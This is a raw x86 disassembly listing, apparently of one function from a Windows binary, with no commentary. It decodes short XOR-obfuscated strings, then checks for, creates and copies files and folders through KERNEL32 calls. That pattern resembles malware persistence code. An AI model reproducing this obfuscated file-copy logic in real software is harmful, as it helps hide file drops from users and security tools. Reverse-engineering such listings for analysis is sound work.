mov eax, closesocket
mov edi, dword [ebp - 0xfc]
sub eax, edi
cmp eax, ecx
jb 0x44cefd
cmp dword [ebp - 0xf8], 0x10
lea eax, [ebp - 0x10c]
push ecx
cmovae eax, dword [ebp - 0x10c]
push edx
push edi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x48]
call fcn.00487550
or dword [ebp - 0x18], 8
lea eax, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push 0
push dword [ebp - 0x88]
cmovae eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov byte [ebp - 0x11], 1
test eax, eax
jne 0x44bb0e
mov byte [ebp - 0x11], 0
mov eax, dword [ebp - 0x18]
test al, 8
je 0x44bb64
mov ecx, dword [ebp - 0x34]
and eax, 0xfffffff7
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x44bb52
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44bb45
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf02
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x18]
add esp, 8
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
mov dword [ebp - 4], 0x1c
test al, 4
je 0x44bbb2
mov ecx, dword [ebp - 0xa4]
and eax, 0xfffffffb
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x44bbb2
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44bba5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf02
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x18]
add esp, 8
mov dword [ebp - 4], 0x1b
test al, 2
je 0x44bc0c
mov ecx, dword [ebp - 0x54]
and eax, 0xfffffffd
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x44bbfa
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44bbed
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf02
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x18]
add esp, 8
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
mov dword [ebp - 4], 0x1a
test al, 1
je 0x44bc57
mov ecx, dword [ebp - 0xc8]
and eax, 0xfffffffe
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x44bc57
mov edx, dword [ebp - 0xdc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44bc4d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf02
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov edi, dword [ebp - 0x14c]
mov eax, 0x2aaaaaab
sub esi, edi
xor ecx, ecx
imul esi
mov dword [ebp - 0x110], ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x1c], eax
je 0x44cd0b
mov al, byte [ebp - 0x11]
mov byte [ebp - 0x11], al
nop word [eax + eax]
lea eax, [ecx + ecx*2]
mov byte [ebp - 0x4d], 0
lea eax, [edi + eax*8]
mov byte [ebp - 0xc2], 0xb7
xorps xmm0, xmm0
mov dword [ebp - 0x4c], eax
movq qword [ebp - 0xc1], xmm0
xor ecx, ecx
mov byte [ebp - 0xb9], 0
nop dword [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0xc2], al
inc ecx
cmp ecx, 1
jb 0x44bcc0
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xc2]
mov byte [ebp - 0xc1], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x34], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44bd00
sub ecx, edx
lea eax, [ebp - 0xc2]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00402b20
mov edi, dword [ebp - 0x18]
or edi, 0x2000000
mov byte [ebp - 4], 0x1e
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
cmovae edx, dword [ebp - 0x48]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44bd36
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x1a8]
sub eax, esi
cmp eax, ecx
jb 0x44ceda
cmp dword [ebp - 0x1a4], 0x10
lea eax, [ebp - 0x1b8]
push ecx
cmovae eax, dword [ebp - 0x1b8]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1e8]
call fcn.00487550
or edi, 0x4000000
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x1e8]
push dword [ebp - 0x4c]
call fcn.0047f840
mov dword [ebp - 0x118], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x114], 0
or edi, 0x8000000
movups xmm0, xmmword [eax]
mov dword [ebp - 0x18], edi
movups xmmword [ebp - 0x128], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x118], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x21
mov ecx, dword [ebp - 0x1d4]
cmp ecx, 0x10
jb 0x44be20
mov edx, dword [ebp - 0x1e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44be16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x1d8], 0
mov dword [ebp - 0x1d4], 0xf
mov byte [ebp - 0x1e8], 0
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x44be73
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44be69
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov edi, dword [ebp - 0x114]
lea edx, [ebp - 0x128]
mov esi, dword [ebp - 0x128]
cmp edi, 0x10
jb 0x44be90
mov edx, esi
test edx, edx
je 0x44bee1
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x88], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44bea0
sub ecx, dword [ebp - 0x88]
je 0x44bee1
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x44bef6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x44bef6
cmp eax, 0x20
je 0x44bef6
cmp eax, 0x45
je 0x44bef6
cmp eax, 0x24
je 0x44bef6
mov edi, dword [ebp - 0x114]
mov esi, dword [ebp - 0x128]
cmp edi, 0x10
lea eax, [ebp - 0x128]
push 0
cmovae eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xorps xmm0, xmm0
mov dword [ebp - 0x176], 0x9e8c81b7
mov byte [ebp - 0x172], 0x9c
xor ecx, ecx
movq qword [ebp - 0x171], xmm0
mov byte [ebp - 0x169], 0
nop dword [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x176], al
inc ecx
cmp ecx, 5
jb 0x44bf20
mov dword [0x5584f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x176]
mov byte [ebp - 0x171], 0
movups xmmword [ebp - 0xf4], xmm0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44bf64
sub ecx, edx
lea eax, [ebp - 0x176]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00402b20
or dword [ebp - 0x18], 0x10000000
mov byte [ebp - 4], 0x23
lea edx, [ebp - 0xf4]
cmp dword [ebp - 0xe0], 0x10
cmovae edx, dword [ebp - 0xf4]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44bfa4
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x118]
sub eax, esi
cmp eax, ecx
jb 0x44ceda
cmp dword [ebp - 0x114], 0x10
lea eax, [ebp - 0x128]
push ecx
cmovae eax, dword [ebp - 0x128]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x140]
call fcn.00487550
mov esi, dword [ebp - 0x18]
or esi, 0x20000000
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0x140]
cmp dword [ebp - 0x12c], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x2a], 0x9e8c81b7
cmovae eax, dword [ebp - 0x140]
xor ecx, ecx
mov dword [ebp - 0x88], eax
mov byte [ebp - 0x26], 0x9c
movq qword [ebp - 0x25], xmm0
mov byte [ebp - 0x1d], 0
nop dword [eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x2a], al
inc ecx
cmp ecx, 5
jb 0x44c030
mov dword [0x5584f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2a]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x200], xmm0
mov dword [ebp - 0x1f0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1ec], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c070
sub ecx, edx
lea eax, [ebp - 0x2a]
push ecx
push eax
lea ecx, [ebp - 0x200]
call fcn.00402b20
or esi, 0x200000
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x200]
cmp dword [ebp - 0x1ec], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0x19e], 0xb7
cmovae edi, dword [ebp - 0x200]
xor ecx, ecx
movq qword [ebp - 0x19d], xmm0
mov byte [ebp - 0x195], 0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x19e], al
inc ecx
cmp ecx, 1
jb 0x44c0c2
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x19e]
mov byte [ebp - 0x19d], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x34], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c100
sub ecx, edx
lea eax, [ebp - 0x19e]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00402b20
or esi, 0x40000000
mov dword [ebp - 0x18], esi
mov byte [ebp - 4], 0x26
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
cmovae edx, dword [ebp - 0x48]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c136
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0xfc]
sub eax, esi
cmp eax, ecx
jb 0x44ceda
cmp dword [ebp - 0xf8], 0x10
lea eax, [ebp - 0x10c]
push ecx
cmovae eax, dword [ebp - 0x10c]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x168]
call fcn.00487550
mov esi, dword [ebp - 0x18]
or esi, 0x80000000
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x168]
push dword [ebp - 0x4c]
call fcn.0047f840
mov dword [ebp - 0xa8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xb8], xmm0
mov dword [ebp - 0xa4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push edi
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0x28
call fcn.0047f7d0
mov dword [ebp - 0x58], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x54], 0
movups xmm0, xmmword [eax]
push 0
push dword [ebp - 0x88]
movups xmmword [ebp - 0x68], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x58], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x54], 0x10
cmovae eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x54]
mov edi, eax
cmp ecx, 0x10
jb 0x44c273
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c269
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp ecx, 0x10
jb 0x44c2c3
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c2b9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], 0
cmp ecx, 0x10
jb 0x44c31c
mov edx, dword [ebp - 0x168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c312
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 0xf
mov byte [ebp - 0x168], 0
cmp ecx, 0x10
jb 0x44c36f
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c365
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x24
mov ecx, dword [ebp - 0x1ec]
cmp ecx, 0x10
jb 0x44c3ad
mov edx, dword [ebp - 0x200]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c3a3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x44c3eb
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c3e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
cmp ecx, 0x10
jb 0x44c444
mov edx, dword [ebp - 0xf4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c43a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
test edi, edi
je 0x44c450
mov byte [ebp - 0x4d], 1
mov byte [ebp - 0x11], 1
xorps xmm0, xmm0
mov byte [ebp - 0x194], 0x98
movq qword [ebp - 0x193], xmm0
xor ecx, ecx
mov byte [ebp - 0x18b], 0
nop dword [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x194], al
inc ecx
cmp ecx, 1
jb 0x44c470
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x194]
mov byte [ebp - 0x193], 0
movups xmmword [ebp - 0x140], xmm0
mov dword [ebp - 0x130], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x12c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c4b4
sub ecx, edx
lea eax, [ebp - 0x194]
push ecx
push eax
lea ecx, [ebp - 0x140]
call fcn.00402b20
or esi, 0x40000
mov byte [ebp - 4], 0x29
lea edi, [ebp - 0x140]
cmp dword [ebp - 0x12c], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0x18a], 0xb7
cmovae edi, dword [ebp - 0x140]
xor ecx, ecx
movq qword [ebp - 0x189], xmm0
mov byte [ebp - 0x181], 0
nop dword [eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x18a], al
inc ecx
cmp ecx, 1
jb 0x44c510
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x18a]
mov byte [ebp - 0x189], 0
movups xmmword [ebp - 0xf4], xmm0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c554
sub ecx, edx
lea eax, [ebp - 0x18a]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00402b20
or esi, 0x80000
mov dword [ebp - 0x18], esi
mov byte [ebp - 4], 0x2a
lea edx, [ebp - 0xf4]
cmp dword [ebp - 0xe0], 0x10
cmovae edx, dword [ebp - 0xf4]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c596
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0xfc]
sub eax, esi
cmp eax, ecx
jb 0x44ceda
cmp dword [ebp - 0xf8], 0x10
lea eax, [ebp - 0x10c]
push ecx
cmovae eax, dword [ebp - 0x10c]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x168]
call fcn.00487550
mov esi, dword [ebp - 0x18]
or esi, 0x100000
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x168]
push dword [ebp - 0x4c]
call fcn.0047f840
mov dword [ebp - 0xa8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xb8], xmm0
mov dword [ebp - 0xa4], 0
or esi, 0x400000
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push edi
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0x2c
call fcn.0047f7d0
mov dword [ebp - 0xcc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xc8], 0
or esi, 0x800000
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xdc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xcc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0x10
jb 0x44c6dc
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c6d2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], 0
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x154]
cmp ecx, 0x10
jb 0x44c735
mov edx, dword [ebp - 0x168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c72b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 0xf
mov byte [ebp - 0x168], 0
mov byte [ebp - 4], 0x30
mov ecx, dword [ebp - 0xe0]
cmp ecx, 0x10
jb 0x44c78e
mov edx, dword [ebp - 0xf4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c784
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x31
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x44c7cc
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c7c2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
xorps xmm0, xmm0
mov word [ebp - 0x7e], 0x8e99
movq qword [ebp - 0x7c], xmm0
xor ecx, ecx
mov byte [ebp - 0x74], 0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x7e], al
inc ecx
cmp ecx, 2
jb 0x44c7e0
mov dword [0x558548], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x7e]
mov byte [ebp - 0x7c], 0
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x54], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c812
sub ecx, edx
lea eax, [ebp - 0x7e]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00402b20
or esi, 0x1000000
lea ecx, [ebp - 0x68]
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0xdc]
mov dword [ebp - 0x18], esi
cmovae ecx, dword [ebp - 0x68]
cmp dword [ebp - 0xc8], 0x10
push ecx
cmovae eax, dword [ebp - 0xdc]
push eax
call fcn.004fda60
mov ecx, dword [ebp - 0x54]
add esp, 8
mov esi, eax
cmp ecx, 0x10
jb 0x44c890
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c886
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
test esi, esi
je 0x44cc42
push esi
call fcn.005012e8
xorps xmm0, xmm0
mov byte [ebp - 0x180], 0x98
add esp, 4
movq qword [ebp - 0x17f], xmm0
mov byte [ebp - 0x177], 0
xor ecx, ecx
nop
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x180], al
inc ecx
cmp ecx, 1
jb 0x44c8d0
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x180]
mov byte [ebp - 0x17f], 0
movups xmmword [ebp - 0x140], xmm0
mov dword [ebp - 0x130], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x12c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c914
sub ecx, edx
lea eax, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x140]
call fcn.00402b20
mov byte [ebp - 4], 0x32
lea edi, [ebp - 0x140]
cmp dword [ebp - 0x12c], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0x72], 0xb7
cmovae edi, dword [ebp - 0x140]
xor ecx, ecx
movq qword [ebp - 0x71], xmm0
mov byte [ebp - 0x69], 0
nop word [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x72], al
inc ecx
cmp ecx, 1
jb 0x44c960
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x72]
mov byte [ebp - 0x71], 0
movups xmmword [ebp - 0xf4], xmm0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c9a0
sub ecx, edx
lea eax, [ebp - 0x72]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00402b20
mov byte [ebp - 4], 0x33
lea edx, [ebp - 0xf4]
cmp dword [ebp - 0xe0], 0x10
cmovae edx, dword [ebp - 0xf4]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c9d6
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x1a8]
sub eax, esi
cmp eax, ecx
jb 0x44ceda
cmp dword [ebp - 0x1a4], 0x10
lea eax, [ebp - 0x1b8]
push ecx
cmovae eax, dword [ebp - 0x1b8]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1e8]
call fcn.00487550
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x1e8]
push dword [ebp - 0x4c]
call fcn.0047f840
mov dword [ebp - 0x38], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x34], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x48], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x38], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push edi
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x35
call fcn.0047f7d0
mov dword [ebp - 0x58], 0
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x54], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
push 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x68], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x58], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xdc]
cmp dword [ebp - 0x54], 0x10
cmovae ecx, dword [ebp - 0x68]
cmp dword [ebp - 0xc8], 0x10
push ecx
cmovae eax, dword [ebp - 0xdc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x54]
mov esi, eax
cmp ecx, 0x10
jb 0x44cb07
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44cafd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x34
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp ecx, 0x10
jb 0x44cb51
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44cb47
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x1d4]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
cmp ecx, 0x10
jb 0x44cba1
mov edx, dword [ebp - 0x1e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44cb97
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x32
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x1d8], 0
mov dword [ebp - 0x1d4], 0xf
mov byte [ebp - 0x1e8], 0
cmp ecx, 0x10
jb 0x44cbfa
mov edx, dword [ebp - 0xf4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44cbf0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x31
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x44cc38
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44cc2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
test esi, esi
je 0x44cc42
mov byte [ebp - 0x11], 1
jmp 0x44cc57
cmp byte [ebp - 0x4d], 0
jne 0x44cc57
push ecx
lea ecx, [ebp - 0x128]
call fcn.0040c680
add esp, 4
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0xc8]
cmp ecx, 0x10
jb 0x44cc95
mov edx, dword [ebp - 0xdc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44cc8b
